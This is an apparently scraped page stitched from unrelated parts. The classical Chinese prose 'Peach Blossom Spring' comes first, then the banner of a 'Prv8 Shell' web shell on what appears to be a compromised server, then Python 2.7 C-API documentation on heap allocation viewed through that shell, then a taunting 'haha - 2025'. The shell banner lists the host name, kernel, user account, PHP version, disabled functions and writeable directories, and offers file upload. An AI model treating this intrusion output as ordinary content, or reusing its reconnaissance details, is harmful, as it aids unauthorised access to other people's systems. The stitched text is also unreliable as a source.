晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/python2-docs/html/c-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/python2-docs/html/c-api/allocation.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Allocating Objects on the Heap &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="Common Object Structures" href="structures.html" />
    <link rel="prev" title="Object Implementation Support" href="objimpl.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/c-api/allocation.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="structures.html" title="Common Object Structures"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="objimpl.html" title="Object Implementation Support"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >Python/C API Reference Manual</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="objimpl.html" accesskey="U">Object Implementation Support</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="allocating-objects-on-the-heap">
<span id="allocating-objects"></span><h1>Allocating Objects on the Heap<a class="headerlink" href="#allocating-objects-on-the-heap" title="Permalink to this headline">¶</a></h1>
<dl class="function">
<dt id="c._PyObject_New">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">_PyObject_New</code><span class="sig-paren">(</span><a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject">PyTypeObject</a><em>&nbsp;*type</em><span class="sig-paren">)</span><a class="headerlink" href="#c._PyObject_New" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: New reference.</em></dd></dl>

<dl class="function">
<dt id="c._PyObject_NewVar">
<a class="reference internal" href="structures.html#c.PyVarObject" title="PyVarObject">PyVarObject</a>* <code class="descname">_PyObject_NewVar</code><span class="sig-paren">(</span><a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject">PyTypeObject</a><em>&nbsp;*type</em>, Py_ssize_t<em>&nbsp;size</em><span class="sig-paren">)</span><a class="headerlink" href="#c._PyObject_NewVar" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: New reference.</em><div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>size</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c._PyObject_Del">
void <code class="descname">_PyObject_Del</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*op</em><span class="sig-paren">)</span><a class="headerlink" href="#c._PyObject_Del" title="Permalink to this definition">¶</a></dt>
<dd></dd></dl>

<dl class="function">
<dt id="c.PyObject_Init">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">PyObject_Init</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*op</em>, <a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject">PyTypeObject</a><em>&nbsp;*type</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyObject_Init" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: Borrowed reference.</em><p>Initialize a newly-allocated object <em>op</em> with its type and initial
reference.  Returns the initialized object.  If <em>type</em> indicates that the
object participates in the cyclic garbage detector, it is added to the
detector’s set of observed objects. Other fields of the object are not
affected.</p>
</dd></dl>

<dl class="function">
<dt id="c.PyObject_InitVar">
<a class="reference internal" href="structures.html#c.PyVarObject" title="PyVarObject">PyVarObject</a>* <code class="descname">PyObject_InitVar</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyVarObject" title="PyVarObject">PyVarObject</a><em>&nbsp;*op</em>, <a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject">PyTypeObject</a><em>&nbsp;*type</em>, Py_ssize_t<em>&nbsp;size</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyObject_InitVar" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: Borrowed reference.</em><p>This does everything <a class="reference internal" href="#c.PyObject_Init" title="PyObject_Init"><code class="xref c c-func docutils literal notranslate"><span class="pre">PyObject_Init()</span></code></a> does, and also initializes the
length information for a variable-size object.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>size</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyObject_New">
TYPE* <code class="descname">PyObject_New</code><span class="sig-paren">(</span>TYPE, <a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject">PyTypeObject</a><em>&nbsp;*type</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyObject_New" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: New reference.</em><p>Allocate a new Python object using the C structure type <em>TYPE</em> and the
Python type object <em>type</em>.  Fields not defined by the Python object header
are not initialized; the object’s reference count will be one.  The size of
the memory allocation is determined from the <a class="reference internal" href="typeobj.html#c.PyTypeObject.tp_basicsize" title="PyTypeObject.tp_basicsize"><code class="xref c c-member docutils literal notranslate"><span class="pre">tp_basicsize</span></code></a> field of
the type object.</p>
</dd></dl>

<dl class="function">
<dt id="c.PyObject_NewVar">
TYPE* <code class="descname">PyObject_NewVar</code><span class="sig-paren">(</span>TYPE, <a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject">PyTypeObject</a><em>&nbsp;*type</em>, Py_ssize_t<em>&nbsp;size</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyObject_NewVar" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: New reference.</em><p>Allocate a new Python object using the C structure type <em>TYPE</em> and the
Python type object <em>type</em>.  Fields not defined by the Python object header
are not initialized.  The allocated memory allows for the <em>TYPE</em> structure
plus <em>size</em> fields of the size given by the <a class="reference internal" href="typeobj.html#c.PyTypeObject.tp_itemsize" title="PyTypeObject.tp_itemsize"><code class="xref c c-member docutils literal notranslate"><span class="pre">tp_itemsize</span></code></a> field of
<em>type</em>.  This is useful for implementing objects like tuples, which are
able to determine their size at construction time.  Embedding the array of
fields into the same allocation decreases the number of allocations,
improving the memory management efficiency.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>size</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyObject_Del">
void <code class="descname">PyObject_Del</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*op</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyObject_Del" title="Permalink to this definition">¶</a></dt>
<dd><p>Releases memory allocated to an object using <a class="reference internal" href="#c.PyObject_New" title="PyObject_New"><code class="xref c c-func docutils literal notranslate"><span class="pre">PyObject_New()</span></code></a> or
<a class="reference internal" href="#c.PyObject_NewVar" title="PyObject_NewVar"><code class="xref c c-func docutils literal notranslate"><span class="pre">PyObject_NewVar()</span></code></a>.  This is normally called from the
<a class="reference internal" href="typeobj.html#c.PyTypeObject.tp_dealloc" title="PyTypeObject.tp_dealloc"><code class="xref c c-member docutils literal notranslate"><span class="pre">tp_dealloc</span></code></a> handler specified in the object’s type.  The fields of
the object should not be accessed after this call as the memory is no
longer a valid Python object.</p>
</dd></dl>

<dl class="function">
<dt id="c.Py_InitModule">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">Py_InitModule</code><span class="sig-paren">(</span>char<em>&nbsp;*name</em>, <a class="reference internal" href="structures.html#c.PyMethodDef" title="PyMethodDef">PyMethodDef</a><em>&nbsp;*methods</em><span class="sig-paren">)</span><a class="headerlink" href="#c.Py_InitModule" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: Borrowed reference.</em><p>Create a new module object based on a name and table of functions,
returning the new module object.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.3: </span>Older versions of Python did not support <em>NULL</em> as the value for the
<em>methods</em> argument.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.Py_InitModule3">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">Py_InitModule3</code><span class="sig-paren">(</span>char<em>&nbsp;*name</em>, <a class="reference internal" href="structures.html#c.PyMethodDef" title="PyMethodDef">PyMethodDef</a><em>&nbsp;*methods</em>, char<em>&nbsp;*doc</em><span class="sig-paren">)</span><a class="headerlink" href="#c.Py_InitModule3" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: Borrowed reference.</em><p>Create a new module object based on a name and table of functions,
returning the new module object.  If <em>doc</em> is non-<em>NULL</em>, it will be used
to define the docstring for the module.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.3: </span>Older versions of Python did not support <em>NULL</em> as the value for the
<em>methods</em> argument.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.Py_InitModule4">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">Py_InitModule4</code><span class="sig-paren">(</span>char<em>&nbsp;*name</em>, <a class="reference internal" href="structures.html#c.PyMethodDef" title="PyMethodDef">PyMethodDef</a><em>&nbsp;*methods</em>, char<em>&nbsp;*doc</em>, <a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*self</em>, int<em>&nbsp;apiver</em><span class="sig-paren">)</span><a class="headerlink" href="#c.Py_InitModule4" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: Borrowed reference.</em><p>Create a new module object based on a name and table of functions,
returning the new module object.  If <em>doc</em> is non-<em>NULL</em>, it will be used
to define the docstring for the module.  If <em>self</em> is non-<em>NULL</em>, it will
be passed to the functions of the module as their (otherwise <em>NULL</em>) first
parameter.  (This was added as an experimental feature, and there are no
known uses in the current version of Python.)  For <em>apiver</em>, the only value
which should be passed is defined by the constant
<code class="xref py py-const docutils literal notranslate"><span class="pre">PYTHON_API_VERSION</span></code>.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Most uses of this function should probably be using the
<a class="reference internal" href="#c.Py_InitModule3" title="Py_InitModule3"><code class="xref c c-func docutils literal notranslate"><span class="pre">Py_InitModule3()</span></code></a> instead; only use this if you are sure you need
it.</p>
</div>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.3: </span>Older versions of Python did not support <em>NULL</em> as the value for the
<em>methods</em> argument.</p>
</div>
</dd></dl>

<dl class="var">
<dt id="c._Py_NoneStruct">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a> <code class="descname">_Py_NoneStruct</code><a class="headerlink" href="#c._Py_NoneStruct" title="Permalink to this definition">¶</a></dt>
<dd><p>Object which is visible in Python as <code class="docutils literal notranslate"><span class="pre">None</span></code>.  This should only be
accessed using the <code class="docutils literal notranslate"><span class="pre">Py_None</span></code> macro, which evaluates to a pointer to this
object.</p>
</dd></dl>

</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h4>Previous topic</h4>
  <p class="topless"><a href="objimpl.html"
                        title="previous chapter">Object Implementation Support</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="structures.html"
                        title="next chapter">Common Object Structures</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/c-api/allocation.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="structures.html" title="Common Object Structures"
             >next</a> |</li>
        <li class="right" >
          <a href="objimpl.html" title="Object Implementation Support"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >Python/C API Reference Manual</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="objimpl.html" >Object Implementation Support</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025